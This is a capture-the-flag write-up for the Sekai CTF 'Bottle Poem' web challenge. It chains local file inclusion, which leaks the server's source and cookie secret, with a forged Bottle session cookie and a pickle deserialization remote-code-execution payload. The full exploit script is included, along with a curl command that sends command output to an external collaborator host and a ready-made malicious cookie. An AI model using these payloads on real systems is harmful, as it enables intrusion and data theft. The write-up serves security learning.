Skip to content

[Sekai CTF][Web Application] - ⚙️ Bottle Poem

This is my writeup for the "Bottle Poem" challenge on the Sekai CTF plateform.

Sekai

The main page of the website displays 3 links.

Website

When you click on one of the links, a GET request is made to the /show endpoint with an id parameter whose value is the name of a file : spring.txt.

Burp

We can immediately think of the File Inclusion vulnerability allowing an attacker to read the content of any file on the server (for which he has the permissions and where he knows his name). The example below shows the inclusion of the /etc/passwd file and the server response showing the contents of the file.

LFI

We can find the command that started the process of this web application by reading the /proc/self/cmdline file. We observe that the command is python3 -u /app/app.py. The server is therefore Python, we could also have noticed it via the headers present in the responses to the requests : WSGIServer/0.2 CPython/3.8.12.

Cmdline

Thanks to the previous information, we are able to read the source code of the app.py file. There is an import of the config/secret.py file which seems to be interesting.

Import

The secret.py file contains a sekai variable with the value Se3333KKKKKAAAAAIIIIILLLLlovVVVVV3333YYYYoooouuu.

Config

Looking in the source code, we can see there is a /sign route.

@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"

When we make a GET request to this endpoint, the server will check if we have a specific session cookie. If the cookie is valid and the name of the user is admin, the server will show us the contents of the admin template. We can create a script that will set us a session cookie as admin. Simply, we will copy the session creation part of the code and host our own bottle server.

from bottle import route, run, response

@route("/")
def index():
    session = {"name": "admin"}
    response.set_cookie("name", session, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return ""

if __name__ == "__main__":
    run(host="0.0.0.0", port=8000)
curl lab:8000/ -v

* Trying lab:8000...
* Connected to lab port 8000 (#0)
> GET / HTTP/1.1
> Host: lab:8000
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Sun, 09 Oct 2022 10:23:14 GMT
< Server: WSGIServer/0.2 CPython/3.10.6
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< Set-Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="
<
* Closing connection 0

Unfortunately, when using this cookie to login as an admin, the server does not display any important information, only a message that it is useless.

Admin

Digging into how bottle works, we find that it uses pickle to deserialize the cookie. The following issue shows an RCE via an insecure deserialization of the cookie: Github Issue.

We can use the information from the issue to create a cookie, which, during deserialization, will execute a system command.

Note: Do not forget to change the encryption algorithm from SHA256 to MD5 because the size of the HMAC signature is not the same size as that retrieved from the server.

from bottle import route, run, response
import hashlib, base64, hmac, os
import pickle as cPickle

def tob(s, enc='utf8'):
    if isinstance(s, str):
        return s.encode(enc)
    return b'' if s is None else bytes(s)

def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return str("" if s is None else s)

# --- Exploit class to be serialized
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('echo "RCE" > /tmp/rce',))

def build_exploit(name, value, secret):
    digestmod = hashlib.md5
    msg = base64.b64encode(cPickle.dumps([name, value], -1))
    hashed = base64.b64encode(hmac.new(tob(secret), msg, digestmod=digestmod).digest())
    cookie = touni(tob('!') + hashed + tob('?') + msg)
    return cookie

@route("/")
def index():
    session = {"name": Exploit()}
    cookie = build_exploit("name", session, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    print(cookie)
    return ""

if __name__ == "__main__":
run(host="0.0.0.0", port=8000)

POC

The POC worked well. We can have a reverse-shell on the server and run the binary at the root to get the flag.

Rev

nobody@bottle-poem-596fb4c84f-lvlfw:/$ ./flag

SEKAI{W3lcome_To_Our_Bottle}

Knowing that the flag is the output of the /flag binary located at the root (challenge statement), we can retrieve it directly with our collaborator via the following payload :

curl 4af6kx7a6f9oyolr97ullhda016suh.oastify.com/$(/flag)

# Cookie :
!apRezJJy+Cl8C9PpvpdtJw==?gAWVYwAAAAAAAABdlCiMBG5hbWWUfZRoAYwFcG9zaXiUjAZzeXN0ZW2Uk5SMOGN1cmwgNGFmNmt4N2E2ZjlveW9scjk3dWxsaGRhMDE2c3VoLm9hc3RpZnkuY29tLyQoL2ZsYWcplIWUUpRzZS4=
Collab